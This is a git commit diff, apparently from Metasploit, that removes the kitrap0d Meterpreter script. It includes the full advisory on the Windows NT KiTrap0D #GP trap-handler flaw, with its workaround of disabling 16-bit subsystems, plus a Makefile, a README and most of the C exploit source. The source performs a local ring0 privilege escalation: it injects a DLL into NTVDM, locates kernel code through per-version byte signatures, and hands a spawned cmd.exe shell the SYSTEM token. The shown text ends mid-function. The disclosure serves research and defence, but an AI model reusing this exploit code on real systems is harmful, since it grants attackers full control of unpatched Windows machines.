remove the kitrap0d meterpreter script in favor of the "getsystem" implementation, fixes #800, fixes #801
git-svn-id: file:///home/svn/framework3/trunk@10739 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
b364fc19a4
commit
f997b37245
Binary file not shown.
Binary file not shown.
|
@ -1,248 +0,0 @@
|
|||
Microsoft Windows NT #GP Trap Handler Allows Users to Switch Kernel Stack
|
||||
-------------------------------------------------------------------------
|
||||
|
||||
In order to support BIOS service routines in legacy 16bit applications, the
|
||||
Windows NT Kernel supports the concept of BIOS calls in the Virtual-8086 mode
|
||||
monitor code. These are implemented in two stages, the kernel transitions to
|
||||
the second stage when the #GP trap handler (nt!KiTrap0D) detects that the
|
||||
faulting cs:eip matches specific magic values.
|
||||
|
||||
Transitioning to the second stage involves restoring execution context and
|
||||
call stack (which had been previously saved) from the faulting trap frame once
|
||||
authenticity has been verified.
|
||||
|
||||
This verification relies on the following incorrect assumptions:
|
||||
|
||||
- Setting up a VDM context requires SeTcbPrivilege.
|
||||
- ring3 code cannot install arbitrary code segment selectors.
|
||||
- ring3 code cannot forge a trap frame.
|
||||
|
||||
This is believed to affect every release of the Windows NT kernel, from
|
||||
Windows NT 3.1 (1993) up to and including Windows 7 (2009).
|
||||
|
||||
Working out the details of the attack is left as an exercise for the reader.
|
||||
|
||||
Just kidding, that was an homage to Derek Soeder :-)
|
||||
|
||||
- Assumption 0: Setting up a VDM context requires SeTcbPrivilege.
|
||||
|
||||
Creating a VDM context requires EPROCESS->Flags.VdmAllowed to be set in order
|
||||
to access the authenticated system service, NtVdmControl(). VdmAllowed can
|
||||
only be set using NtSetInformationProcess(), which verifies the caller has
|
||||
SeTcbPrivilege. If this is true, the caller is very privileged and can
|
||||
certainly be trusted.
|
||||
|
||||
This restriction can be subverted by requesting the NTVDM subsystem, and then
|
||||
using CreateRemoteThread() to execute in the context of the subsystem process,
|
||||
which will already have this flag set.
|
||||
|
||||
- Assumption 1: ring3 code cannot install arbitrary code segment selectors.
|
||||
|
||||
Cpl is usually equal to the two least significant bits of cs and ss, and is
|
||||
a simple way to calculate the privilege of a task. However, there is an
|
||||
exception, Virtual-8086 mode.
|
||||
|
||||
Real mode uses a segmented addressing scheme in order to allow 16-bit
|
||||
addresses to access the 20-bit address space. This is achieved by forming
|
||||
physical addresses from a calculation like (cs << 4) + (eip & 0xffff). The
|
||||
same calculation is used to map the segmented real address space onto the
|
||||
protected linear address space in Virtual-8086 mode. Therefore, I must be
|
||||
permitted to set cs to any value, and checks for disallowed or privileged
|
||||
selectors can be bypassed (PsSetLdtEnties will reject any selector where any
|
||||
of the three lower bits are unset, as is the case with the required cs pair).
|
||||
|
||||
- Assumption 2: ring3 code cannot forge a trap frame.
|
||||
|
||||
Returning to usermode with iret is a complicated operation, the pseudocode for
|
||||
the iret instruction alone spans several pages of Intel's Software Developers
|
||||
Manual. The operation occurs in two stages, a pre-commit stage and a
|
||||
post-commit stage. Using the VdmContext installed using NtVdmControl(), an
|
||||
invalid context can be created that causes iret to fail pre-commit, thus
|
||||
forging a trap frame.
|
||||
|
||||
The final requirement involves predicting the address of the second-stage BIOS
|
||||
call handler. The address is static in Windows 2003, XP and earlier operating
|
||||
systems, however, Microsoft introduced kernel base randomisation in Windows
|
||||
Vista. Unfortunately, this potentially useful exploit mitigation is trivial
|
||||
to defeat locally as unprivileged users can simply query the loaded module list
|
||||
via NtQuerySystemInformation().
|
||||
|
||||
--------------------
|
||||
Affected Software
|
||||
------------------------
|
||||
|
||||
All 32bit x86 versions of Windows NT released since 27-Jul-1993 are believed to
|
||||
be affected, including but not limited to the following actively supported
|
||||
versions:
|
||||
|
||||
- Windows 2000
|
||||
- Windows XP
|
||||
- Windows Server 2003
|
||||
- Windows Vista
|
||||
- Windows Server 2008
|
||||
- Windows 7
|
||||
|
||||
--------------------
|
||||
Consequences
|
||||
-----------------------
|
||||
|
||||
Upon successful exploitation, the kernel stack is switched to an attacker
|
||||
specified address.
|
||||
|
||||
An attacker would trigger the vulnerability by setting up a specially
|
||||
formed VDM_TIB in their TEB, using a code sequence like this:
|
||||
|
||||
/* ... */
|
||||
// Magic CS required for exploitation
|
||||
Tib.VdmContext.SegCs = 0x0B;
|
||||
// Pointer to fake kernel stack
|
||||
Tib.VdmContext.Esi = &KernelStack;
|
||||
// Magic IP required for exploitation
|
||||
Tib.VdmContext.Eip = Ki386BiosCallReturnAddress;
|
||||
|
||||
NtCurrentTeb()->Reserved4[0] = &Tib;
|
||||
/* ... */
|
||||
|
||||
Followed by
|
||||
|
||||
/* ... */
|
||||
NtVdmControl(VdmStartExecution, NULL);
|
||||
/* ... */
|
||||
|
||||
Which will reach the following code sequence via the #GP trap handler,
|
||||
nt!KiTrap0D. Please note how the stack pointer is restored from the saved
|
||||
(untrusted) trap frame at 43C3E6, undoubtedly resulting in the condition
|
||||
described above.
|
||||
|
||||
/* ... */
|
||||
.text:0043C3CE Ki386BiosCallReturnAddress proc near
|
||||
.text:0043C3CE mov eax, large fs:KPCR.SelfPcr
|
||||
.text:0043C3D4 mov edi, [ebp+KTRAP_FRAME.Esi]
|
||||
.text:0043C3D7 mov edi, [edi]
|
||||
.text:0043C3D9 mov esi, [eax+KPCR.NtTib.StackBase]
|
||||
.text:0043C3DC mov ecx, 84h
|
||||
.text:0043C3E1 mov [eax+KPCR.NtTib.StackBase], edi
|
||||
.text:0043C3E4 rep movsd
|
||||
.text:0043C3E6 mov esp, [ebp+KTRAP_FRAME.Esi]
|
||||
.text:0043C3E9 add esp, 4
|
||||
.text:0043C3EC mov ecx, [eax+KPCR.PrcbData.CurrentThread]
|
||||
.text:0043C3F2 mov [ecx+KTHREAD.InitialStack], edi
|
||||
.text:0043C3F5 mov eax, [eax+KPCR.TSS]
|
||||
.text:0043C3F8 sub edi, 220h
|
||||
.text:0043C3FE mov [eax+KTSS.Esp0], edi
|
||||
.text:0043C401 pop edx
|
||||
.text:0043C402 mov [ecx+KTHREAD.Teb], edx
|
||||
.text:0043C405 pop edx
|
||||
.text:0043C406 mov large fs:KPCR.NtTib.Self, edx
|
||||
.text:0043C40D mov ebx, large fs:KPCR.GDT
|
||||
.text:0043C414 mov [ebx+3Ah], dx
|
||||
.text:0043C418 shr edx, 10h
|
||||
.text:0043C41B mov byte ptr [ebx+3Ch], dl
|
||||
.text:0043C41E mov [ebx+3Fh], dh
|
||||
.text:0043C421 sti
|
||||
.text:0043C422 pop edi
|
||||
.text:0043C423 pop esi
|
||||
.text:0043C424 pop ebx
|
||||
.text:0043C425 pop ebp
|
||||
.text:0043C426 retn 4
|
||||
/* ... */
|
||||
|
||||
Possibly naive example code for triggering this condition is availble from the
|
||||
link below.
|
||||
|
||||
http://lock.cmpxchg8b.com/c0af0967d904cef2ad4db766a00bc6af/KiTrap0D.zip
|
||||
|
||||
The code has been tested on Windows XP, Windows Server 2003/2008, Windows Vista
|
||||
and Windows 7. Support for other affected operating systems is left as an
|
||||
exercise for the interested reader.
|
||||
|
||||
-------------------
|
||||
Mitigation
|
||||
-----------------------
|
||||
|
||||
If you believe you may be affected, you should consider applying the workaround
|
||||
described below.
|
||||
|
||||
Temporarily disabling the MSDOS and WOWEXEC subsystems will prevent the attack
|
||||
from functioning, as without a process with VdmAllowed, it is not possible to
|
||||
access NtVdmControl() (without SeTcbPrivilege, of course).
|
||||
|
||||
The policy template "Windows Components\Application Compatibility\Prevent
|
||||
access to 16-bit applications" may be used within the group policy editor to
|
||||
prevent unprivileged users from executing 16-bit applications. I'm informed
|
||||
this is an officially supported machine configuration.
|
||||
|
||||
Administrators unfamiliar with group policy may find the videos below instructive.
|
||||
|
||||
To watch a demonstration of this policy being applied to a Windows Server 2003
|
||||
domain controller, see the link below.
|
||||
|
||||
http://www.youtube.com/watch?v=XRVI4iQ2Nug
|
||||
|
||||
To watch a demonstration of this policy being applied to a Windows Server 2008
|
||||
domain controller, see the link below.
|
||||
|
||||
http://www.youtube.com/watch?v=u8pfXW7crEQ
|
||||
|
||||
To watch a demonstration of this policy being applied to an unjoined Windows XP
|
||||
Professional machine, see the link below.
|
||||
|
||||
http://www.youtube.com/watch?v=u7Y6d-BVwxk
|
||||
|
||||
On Windows NT4, the following knowledgebase article explains how to disable the
|
||||
NTVDM and WOWEXEC subsystems.
|
||||
|
||||
http://support.microsoft.com/kb/220159
|
||||
|
||||
Applying these configuration changes will temporarily prevent users from
|
||||
accessing legacy 16-bit MS-DOS and Windows 3.1 applications, however, few users
|
||||
require this functionality.
|
||||
|
||||
If you do not require this feature and depend on NT security, consider
|
||||
permanently disabling it in order to reduce kernel attack surface.
|
||||
|
||||
-------------------
|
||||
Solution
|
||||
-----------------------
|
||||
|
||||
Microsoft was informed about this vulnerability on 12-Jun-2009, and they
|
||||
confirmed receipt of my report on 22-Jun-2009.
|
||||
|
||||
Regrettably, no official patch is currently available. As an effective and easy
|
||||
to deploy workaround is available, I have concluded that it is in the best
|
||||
interest of users to go ahead with the publication of this document without an
|
||||
official patch. It should be noted that very few users rely on NT security, the
|
||||
primary audience of this advisory is expected to be domain administrators and
|
||||
security professionals.
|
||||
|
||||
Please note, Microsoft typically do not credit researchers who do not wait for
|
||||
permission to publish their research, and therefore I am unlikely to be
|
||||
referenced in their forthcoming update.
|
||||
|
||||
-------------------
|
||||
Credit
|
||||
-----------------------
|
||||
|
||||
This bug was discovered by Tavis Ormandy.
|
||||
|
||||
-------------------
|
||||
Greetz
|
||||
-----------------------
|
||||
|
||||
Greetz to Julien, Neel, Redpig, Lcamtuf, Spoonm, Skylined, asiraP, LiquidK,
|
||||
ScaryBeasts, spender and all my other elite colleagues.
|
||||
|
||||
Check out some photography while at ring0 @ http://flickr.com/meder.
|
||||
|
||||
-------------------
|
||||
References
|
||||
-----------------------
|
||||
|
||||
Derek Soeder has previously reported some legendary NT bugs, including multiple
|
||||
vdm bugs that, while unrelated to this issue, make fascinating reading.
|
||||
|
||||
- http://seclists.org/fulldisclosure/2004/Oct/404, Windows VDM #UD LocalPrivilege Escalation
|
||||
- http://seclists.org/fulldisclosure/2004/Apr/477, Windows VDM TIB Local Privilege Escalation
|
||||
- http://seclists.org/fulldisclosure/2007/Apr/357, Zero Page Race Condition Privilege Escalation
|
||||
|
||||
|
|
@ -1,16 +0,0 @@
|
|||
# Makefile for KiTrap0d->NtVdmControl() exploit.
|
||||
# - Tavis Ormandy <taviso@sdf.lonestar.org>
|
||||
|
||||
CFLAGS=/Zi /Zp /Od /TC /nologo
|
||||
|
||||
all: vdmallowed.exe vdmexploit.dll
|
||||
|
||||
clean:
|
||||
rm -f *.obj *.exe *.dll *.pdb *.ilk *.exp *.lib
|
||||
|
||||
vdmallowed.exe: vdmallowed.obj
|
||||
cl /Fe$(@F) $(**)
|
||||
|
||||
vdmexploit.dll: vdmexploit.obj
|
||||
cl /Fe$(@F) /LD $(**)
|
||||
|
|
@ -1,14 +0,0 @@
|
|||
|
||||
--------------------------------------------------
|
||||
Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
|
||||
-------------------------------------------- taviso@sdf.lonestar.org ---
|
||||
|
||||
Tavis Ormandy, June 2009.
|
||||
|
||||
Please see ADVISORY for discussion of the vulnerability itself.
|
||||
|
||||
INSTRUCTIONS
|
||||
|
||||
Use nmake[1] from visual c++ to build the exploit driver and payload.
|
||||
|
||||
[1] NMAKE Reference, http://msdn.microsoft.com/en-us/library/dd9y37ha.aspx
|
|
@ -1,507 +0,0 @@
|
|||
//
|
||||
// --------------------------------------------------
|
||||
// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
|
||||
// -------------------------------------------- taviso@sdf.lonestar.org ---
|
||||
//
|
||||
// Tavis Ormandy, June 2009.
|
||||
//
|
||||
// INTRODUCTION
|
||||
//
|
||||
// I'm not usually interested in Windows exploits (I'm a UNIX guy), but this
|
||||
// bug was so unusual I felt it deserved some special attention :-)
|
||||
//
|
||||
// I believe every single release of Windows NT since version 3.1 (1993) up to
|
||||
// and including Windows 7 (2009) contain this error.
|
||||
//
|
||||
// KNOWN BUGS
|
||||
//
|
||||
// * If KernelGetProcByName() ever fails, I'm probably in trouble.
|
||||
// * I hardcode several paths instead of expanding %SYSTEMROOT%.
|
||||
// * I probably need to VirtualLock() some stuff.
|
||||
// * I suspect this is unreliable on mp kernels.
|
||||
//
|
||||
// INSTRUCTIONS
|
||||
//
|
||||
// C:\> nmake
|
||||
// C:\> vdmallowed.exe
|
||||
//
|
||||
// WORKAROUND
|
||||
//
|
||||
// Disabling the MSDOS and WOWEXEC subsystems will prevent the exploit
|
||||
// from functioning.
|
||||
//
|
||||
// http://support.microsoft.com/kb/220159
|
||||
//
|
||||
// GREETZ
|
||||
//
|
||||
// Julien, Lcamtuf, Spoonm, Neel, Skylined, Redpig, and others.
|
||||
//
|
||||
|
||||
|
||||
//
|
||||
// This code was slightly tweaked for use in a Meterpreter script, the changes
|
||||
// allow an unrelated PID to receive the SYSTEM token. Some minor cleanups were
|
||||
// made as well, mostly around resolving the system32 directory.
|
||||
//
|
||||
// Long-term, this will be reimplemented as an additional vector in the priv
|
||||
// extension.
|
||||
//
|
||||
// This code now uses twunk_16.exe instead of debug.exe for compatibility.
|
||||
//
|
||||
// - hdm[at]metasploit.com 2010/01/25
|
||||
//
|
||||
|
||||
|
||||
// Windows 2000 fails to find the VDM_TIB size (something else is wrong)
|
||||
// Windows 2008 Storage Server has 16-bit applications disabled by default
|
||||
// Windows 2008 Storage Server is also missing twunk_16.exe, has debug.exe
|
||||
|
||||
|
||||
|
||||
#ifndef WIN32_NO_STATUS
|
||||
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
|
||||
#endif
|
||||
#include <windows.h>
|
||||
#include <assert.h>
|
||||
#include <stdio.h>
|
||||
#include <winerror.h>
|
||||
#include <winternl.h>
|
||||
#include <stddef.h>
|
||||
#include <stdarg.h>
|
||||
#include <tchar.h>
|
||||
#ifdef WIN32_NO_STATUS
|
||||
# undef WIN32_NO_STATUS
|
||||
#endif
|
||||
#include <ntstatus.h>
|
||||
|
||||
#pragma comment(lib, "advapi32")
|
||||
|
||||
#define PAGE_SIZE 0x1000
|
||||
|
||||
enum { SystemModuleInformation = 11 };
|
||||
|
||||
typedef struct {
|
||||
ULONG Unknown1;
|
||||
ULONG Unknown2;
|
||||
PVOID Base;
|
||||
ULONG Size;
|
||||
ULONG Flags;
|
||||
USHORT Index;
|
||||
USHORT NameLength;
|
||||
USHORT LoadCount;
|
||||
USHORT PathLength;
|
||||
CHAR ImageName[256];
|
||||
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
|
||||
|
||||
typedef struct {
|
||||
ULONG Count;
|
||||
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
|
||||
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
typedef struct CodeSignature {
|
||||
UCHAR Signature[16];
|
||||
DWORD Version;
|
||||
};
|
||||
|
||||
|
||||
// These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
|
||||
struct CodeSignature CodeSignatures[] = {
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00", 0 }, // Windows NT4
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 1 }, // Windows 2000
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x5F\x8B\x70\x04\xB9\x84\x00\x00\x00\x89", 1 }, // Windows 2000 SP4 Advanced Server
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 2 }, // Windows XP
|
||||
{ "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00", 3 }, // Windows 2003
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 3 }, // Windows .NET
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 4 }, // Windows Vista
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 5 }, // Windows 2008
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 6 }, // Windows 7
|
||||
{ "", -1 }
|
||||
};
|
||||
|
||||
// Log levels.
|
||||
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
|
||||
|
||||
BOOL PrepareProcessForSystemToken(PCHAR Application, PDWORD ProcessId);
|
||||
BOOL SpawnNTVDMAndGetUsefulAccess(PCHAR Application, PHANDLE ProcessHandle);
|
||||
BOOL InjectDLLIntoProcess(PCHAR DllPath, HANDLE ProcessHandle, PHANDLE RemoteThread);
|
||||
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
|
||||
BOOL ScanForCodeSignature(PDWORD KernelBase, PDWORD OffsetFromBase);
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
HANDLE VdmHandle;
|
||||
HANDLE RemoteThread;
|
||||
DWORD ShellPid = 0;
|
||||
DWORD KillPid = 0;
|
||||
DWORD ThreadCode;
|
||||
DWORD KernelBase;
|
||||
TCHAR VDMPath[_MAX_PATH];
|
||||
TCHAR CMDPath[_MAX_PATH];
|
||||
CHAR Buf[32];
|
||||
DWORD Offset;
|
||||
|
||||
if(argc > 1)
|
||||
ShellPid = atoi(argv[1]);
|
||||
|
||||
LogMessage(L_INFO,
|
||||
"\r"
|
||||
"--------------------------------------------------\n"
|
||||
"Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit\n"
|
||||
"-------------------------------------------- taviso@sdf.lonestar.org ---\n"
|
||||
"\n"
|
||||
);
|
||||
|
||||
GetWindowsDirectory(VDMPath, _MAX_PATH);
|
||||
_tcscat_s(VDMPath, _MAX_PATH, _T("\\twunk_16.exe"));
|
||||
|
||||
if (GetFileAttributes(VDMPath) == INVALID_FILE_ATTRIBUTES) {
|
||||
GetSystemDirectory(VDMPath, _MAX_PATH);
|
||||
_tcscat_s(VDMPath, _MAX_PATH, _T("\\debug.exe"));
|
||||
|
||||
if (GetFileAttributes(VDMPath) == INVALID_FILE_ATTRIBUTES) {
|
||||
LogMessage(L_INFO, "Could not find twunk_16.exe or debug.exe");
|
||||
return(0);
|
||||
}
|
||||
}
|
||||
|
||||
GetSystemDirectory(CMDPath, _MAX_PATH);
|
||||
_tcscat_s(CMDPath, _MAX_PATH, _T("\\cmd.exe"));
|
||||
|
||||
if(! ShellPid) {
|
||||
// Spawn the process to be elevated to SYSTEM.
|
||||
LogMessage(L_INFO, "Spawning a shell to give SYSTEM token (do not close it)");
|
||||
|
||||
if (PrepareProcessForSystemToken(CMDPath, &ShellPid) != TRUE) {
|
||||
LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
|
||||
goto finished;
|
||||
}
|
||||
}
|
||||
|
||||
// Scan kernel image for the required code sequence, and find the base address.
|
||||
if (ScanForCodeSignature(&KernelBase, &Offset) == FALSE) {
|
||||
LogMessage(L_ERROR, "ScanForCodeSignature() returned failure");
|
||||
goto finished;
|
||||
}
|
||||
|
||||
// Pass the parameters required by exploit thread to NTVDM.
|
||||
SetEnvironmentVariable("VDM_TARGET_PID", (sprintf(Buf, "%#x", ShellPid), Buf));
|
||||
SetEnvironmentVariable("VDM_TARGET_KRN", (sprintf(Buf, "%#x", KernelBase), Buf));
|
||||
SetEnvironmentVariable("VDM_TARGET_OFF", (sprintf(Buf, "%#x", Offset), Buf));
|
||||
|
||||
// Invoke the NTVDM subsystem, by launching any MS-DOS executable.
|
||||
LogMessage(L_INFO, "Starting the NTVDM subsystem by launching MS-DOS executable");
|
||||
|
||||
if (SpawnNTVDMAndGetUsefulAccess(VDMPath, &VdmHandle) == FALSE) {
|
||||
LogMessage(L_ERROR, "SpawnNTVDMAndGetUsefulAccess() returned failure");
|
||||
goto finished;
|
||||
}
|
||||
|
||||
// Start the exploit thread in the NTVDM process.
|
||||
LogMessage(L_DEBUG, "Injecting the exploit thread into NTVDM subsystem @%#x", VdmHandle);
|
||||
|
||||
if (InjectDLLIntoProcess("VDMEXPLOIT.DLL", VdmHandle, &RemoteThread) == FALSE) {
|
||||
LogMessage(L_ERROR, "InjectDLLIntoProcess() returned failure");
|
||||
goto finished;
|
||||
}
|
||||
|
||||
|
||||
// Wait for the thread to complete
|
||||
LogMessage(L_DEBUG, "WaitForSingleObject(%#x, INFINITE);", RemoteThread);
|
||||
|
||||
WaitForSingleObject(RemoteThread, INFINITE);
|
||||
|
||||
|
||||
// I pass some information back via the exit code to indicate what happened.
|
||||
GetExitCodeThread(RemoteThread, &ThreadCode);
|
||||
|
||||
LogMessage(L_DEBUG, "GetExitCodeThread(%#x, %p); => %#x", RemoteThread, &ThreadCode, ThreadCode);
|
||||
|
||||
switch (ThreadCode) {
|
||||
case 'VTIB':
|
||||
// A data structure supplied to the kernel called VDM_TIB has to have a `size` field that
|
||||
// matches what the kernel expects.
|
||||
// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
|
||||
LogMessage(L_ERROR, "The exploit thread was unable to find the size of the VDM_TIB structure");
|
||||
break;
|
||||
case 'NTAV':
|
||||
// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
|
||||
// expects to be present.
|
||||
// The exploit thread reports it didn't work.
|
||||
LogMessage(L_ERROR, "The exploit thread was unable to map the virtual 8086 address space");
|
||||
break;
|
||||
case 'VDMC':
|
||||
// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
|
||||
// It's entirely undocumented, so you'll have to use kd to step through it and find out why
|
||||
// it's failing.
|
||||
LogMessage(L_ERROR, "The exploit thread reports NtVdmControl() failed");
|
||||
break;
|
||||
case 'LPID':
|
||||
// This exploit will try to transplant the token from PsInitialSystemProcess on to an
|
||||
// unprivileged process owned by you.
|
||||
// PsLookupProcessByProcessId() failed when trying to find your process.
|
||||
LogMessage(L_ERROR, "The exploit thread reports that PsLookupProcessByProcessId() failed");
|
||||
break;
|
||||
case FALSE:
|
||||
// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
|
||||
// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
|
||||
LogMessage(L_ERROR, "The exploit thread was unable to load the injected dll");
|
||||
break;
|
||||
case 'w00t':
|
||||
// This means the exploit payload was executed at ring0 and succeeded.
|
||||
LogMessage(L_INFO, "The exploit thread reports exploitation was successful");
|
||||
if(! KillPid)
|
||||
LogMessage(L_INFO, "w00t! You can now use the shell opened earlier");
|
||||
break;
|
||||
default:
|
||||
// Unknown error. Sorry, you're on your own.
|
||||
LogMessage(L_ERROR, "The exploit thread returned an unexpected error, %#x", ThreadCode);
|
||||
break;
|
||||
}
|
||||
|
||||
TerminateProcess(VdmHandle, 0);
|
||||
CloseHandle(VdmHandle);
|
||||
CloseHandle(RemoteThread);
|
||||
|
||||
if(KillPid) {
|
||||
LogMessage(L_INFO, "Killing the temporary process handle with pid %d", KillPid);
|
||||
VdmHandle = OpenProcess( PROCESS_TERMINATE, FALSE, KillPid );
|
||||
if(VdmHandle && VdmHandle != INVALID_HANDLE_VALUE) {
|
||||
TerminateProcess(VdmHandle, 0);
|
||||
}
|
||||
}
|
||||
|
||||
finished:
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Start a process to give SYSTEM token to.
|
||||
static BOOL PrepareProcessForSystemToken(PCHAR App, PDWORD ProcessId)
|
||||
{
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si;
|
||||
|
||||
ZeroMemory(&pi, sizeof(pi));
|
||||
ZeroMemory(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
|
||||
if (CreateProcess(App, App, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == FALSE) {
|
||||
LogMessage(L_ERROR, "CreateProcess(\"%s\") returned failure, %#x", App, GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId);
|
||||
|
||||
*ProcessId = pi.dwProcessId;
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Grab a useful Handle to NTVDM.
|
||||
static BOOL SpawnNTVDMAndGetUsefulAccess(PCHAR App, PHANDLE ProcessHandle)
|
||||
{
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
STARTUPINFO si = { sizeof si };
|
||||
ULONG i;
|
||||
|
||||
// Start the child process, which should invoke NTVDM.
|
||||
if (CreateProcess(App, App, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == FALSE) {
|
||||
LogMessage(L_ERROR, "CreateProcess(\"%s\") failed, %#x", App, GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId);
|
||||
|
||||
// Get more access
|
||||
if ((*ProcessHandle = OpenProcess(PROCESS_CREATE_THREAD
|
||||
| PROCESS_QUERY_INFORMATION
|
||||
| PROCESS_VM_OPERATION
|
||||
| PROCESS_VM_WRITE
|
||||
| PROCESS_VM_READ
|
||||
| PROCESS_TERMINATE,
|
||||
FALSE,
|
||||
pi.dwProcessId)) == NULL) {
|
||||
LogMessage(L_ERROR, "OpenProcess(%u) failed, %#x", pi.dwProcessId, GetLastError());
|
||||
TerminateProcess(pi.hProcess, 'SPWN');
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
LogMessage(L_DEBUG, "OpenProcess(%u) => %#x", pi.dwProcessId, *ProcessHandle);
|
||||
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Use the DLL Injection technique to access the NTVDM process.
|
||||
// http://en.wikipedia.org/wiki/DLL_injection
|
||||
static BOOL InjectDLLIntoProcess(PCHAR DllPath, HANDLE ProcessHandle, PHANDLE RemoteThread)
|
||||
{
|
||||
PVOID RemotePage;
|
||||
LPTHREAD_START_ROUTINE StartRoutine;
|
||||
|
||||
assert(ProcessHandle != INVALID_HANDLE_VALUE);
|
||||
assert(DllPath);
|
||||
assert(RemoteThread);
|
||||
|
||||
// Allocate a page in the child process
|
||||
if ((RemotePage = VirtualAllocEx(ProcessHandle, NULL, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE)) == NULL) {
|
||||
LogMessage(L_ERROR, "VirtualAllocEx() returned failure, %#x", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Write in the name of my DLL (note, memory is already zeroed)
|
||||
if (WriteProcessMemory(ProcessHandle, RemotePage, DllPath, strlen(DllPath), NULL) == FALSE) {
|
||||
LogMessage(L_ERROR, "WriteProcessMemory(%p) returned failure, %#x", RemotePage, GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
LogMessage(L_DEBUG, "WriteProcessMemory(%#x, %#x, \"%s\", %u);",
|
||||
ProcessHandle,
|
||||
RemotePage,
|
||||
DllPath,
|
||||
strlen(DllPath));
|
||||
|
||||
// Execute it in child process, loading the specified library
|
||||
*RemoteThread = CreateRemoteThread(ProcessHandle,
|
||||
NULL,
|
||||
0,
|
||||
(LPTHREAD_START_ROUTINE)
|
||||
GetProcAddress(GetModuleHandle("KERNEL32.DLL"), "LoadLibraryA"),
|
||||
RemotePage,
|
||||
0,
|
||||
NULL);
|
||||
CloseHandle(ProcessHandle);
|
||||
|
||||
return *RemoteThread != NULL;
|
||||
}
|
||||
|
||||
// Scan the appropriate kernel image for the correct offset
|
||||
BOOL ScanForCodeSignature(PDWORD KernelBase, PDWORD OffsetFromBase)
|
||||
{
|
||||
FARPROC NtQuerySystemInformation;
|
||||
HMODULE KernelHandle;
|
||||
PIMAGE_DOS_HEADER DosHeader;
|
||||
PIMAGE_NT_HEADERS PeHeader;
|
||||
PIMAGE_OPTIONAL_HEADER OptHeader;
|
||||
OSVERSIONINFO osvi = { sizeof osvi };
|
||||
PBYTE ImageBase;
|
||||
DWORD PhysicalAddressExtensions, DataSize;
|
||||
ULONG i,x;
|
||||
HKEY MmHandle;
|
||||
SYSTEM_MODULE_INFORMATION ModuleInfo = {0};
|
||||
|
||||
// List of versions I have code signatures for.
|
||||
enum {
|
||||
MICROSOFT_WINDOWS_NT4 = 0,
|
||||
MICROSOFT_WINDOWS_2000 = 1,
|
||||
MICROSOFT_WINDOWS_XP = 2,
|
||||
MICROSOFT_WINDOWS_2003 = 3,
|
||||
MICROSOFT_WINDOWS_VISTA = 4,
|
||||
MICROSOFT_WINDOWS_2008 = 5,
|
||||
MICROSOFT_WINDOWS_7 = 6,
|
||||
} Version = MICROSOFT_WINDOWS_7;
|
||||
|
||||
// NtQuerySystemInformation can be used to find kernel base address
|
||||
NtQuerySystemInformation = GetProcAddress(GetModuleHandle("NTDLL"), "NtQuerySystemInformation");
|
||||
|
||||
// Determine kernel version so that the correct code signature is used
|
||||
GetVersionEx(&osvi);
|
||||
|
||||
LogMessage(L_DEBUG, "GetVersionEx() => %u.%u", osvi.dwMajorVersion, osvi.dwMinorVersion);
|
||||
|
||||
if (osvi.dwMajorVersion == 4 && osvi.dwMinorVersion == 0)
